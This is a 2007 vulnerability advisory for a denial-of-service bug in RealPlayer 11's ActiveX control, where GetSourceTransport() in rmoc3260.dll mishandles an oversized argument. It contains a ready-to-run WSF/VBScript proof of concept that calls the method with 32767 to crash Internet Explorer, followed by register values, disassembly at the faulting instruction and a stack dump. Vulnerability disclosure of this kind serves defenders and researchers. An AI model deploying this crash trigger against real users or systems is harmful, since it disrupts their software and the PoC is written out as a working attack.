DOS in Realplayer 11 ActiveX on Win Vista and Win XP SP2

[thesinoda () hotmail com]

+-----------------------------------------------------------------.
Affected    : Realplayer 11 ActiveX on Win Vista and Win XP SP2   :
Type        : DOS Attack                                          :
Date        : 28-11-2007                                          :
Author      : Adonis, Abed                                        :
Link        : http://www.safehack.com/Advisory/realpdos.txt       :
+-----------------------------------------------------------------.
                                                                  :

+-------------.                                                   :
 Brief History \                                                  :
+---------------`-------------------------------------------------.
GetSourceTransport() fails to handle exceptional conditions, which:
leads to a DoS (Denial of Service) attack.                        :
                                                                  :
GetSourceTransport() is found in rmoc3260.dll which is installed  : 
with RealPlayer 11.                                               :
                                                                  :
Note: This ActiveX can be loaded by IE or any other browser.      : 
                                                                  :
Successful exploitation will lead to a remote crash in IE 6/7.    :
                                                                  :
+-----------.                                                     :
 The Problem \                                                    :
+-------------`---------------------------------------------------.
RealPlayer 11 ActiveX DoS Proof-of-Concept                        :
                                                                  :
                                                                  :
-:PoC:-                                                           :
1- Copy and past the following code into filepoc.wsf              : 
2- Run it by double clicking on it                                :
---------------------------------------------------snip-----------:
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' id='target' />
<script language='vbscript'>

targetFile = "C:\Windows\system32\rmoc3260.dll"
prototype  = "Function GetSourceTransport ( ByVal nSourceNum As Integer ) As String"
memberName = "GetSourceTransport"
progid     = "RealAudioObjects.RealAudio"
argCount   = 1

arg1=32767

target.GetSourceTransport arg1 

</script></job></package>
---------------------------------------------------snip-----------:

Registers:
--------------------------------------------------
EIP 637F4A02 -> 00000000
EAX 0022EC44 -> 00000000
EBX 663CCB38 -> 663B7400 -> Uni: t;ft;f
ECX 0022EC44 -> 00000000
EDX 01536388 -> 638416B8
EDI 00000000
ESI 00000000
EBP 0022EC68 -> 0022EC78
ESP 0022EC3C -> 00000000

Block Disassembly: 
--------------------------------------------------
637F49F2        JE SHORT 637F49F8
637F49F4        MOV ESI,EAX
637F49F6        JMP SHORT 637F49FA
637F49F8        XOR ESI,ESI
637F49FA        LEA ECX,[EBP-24]
637F49FD        CALL 6381C1F0
637F4A02        MOV EDX,[ESI]     <--- CRASH
637F4A04        LEA EAX,[EBP-4]
637F4A07        PUSH EAX
637F4A08        PUSH 638427D8
637F4A0D        PUSH ESI
637F4A0E        CALL [EDX]
637F4A10        MOV EAX,[EBP+8]
637F4A13        SUB EAX,46
637F4A16        JE 637F4B28

Stack Dump:
--------------------------------------------------
22EC3C 00 00 00 00 F4 EC 22 00 00 00 00 00 F4 EC 22 07  [................]
22EC4C C0 6D 53 01 00 00 00 00 30 ED 22 00 00 00 00 00  [.mS.............]
22EC5C 00 00 00 00 DC 9A 2B 00 00 00 00 00 78 EC 22 00  [................]
22EC6C A8 C7 7F 63 47 00 00 00 FF 7F 00 00 90 EC 22 00  [...cG...........]
22EC7C 8E 48 3B 66 88 63 53 01 47 00 00 00 FF 7F 00 00  [.H.f.cS.G.......]
                                                                  :
                                                                  :
Peace to you all:all and Happy New Year full of health and Peace  :
+-----------------------------------------------------------------.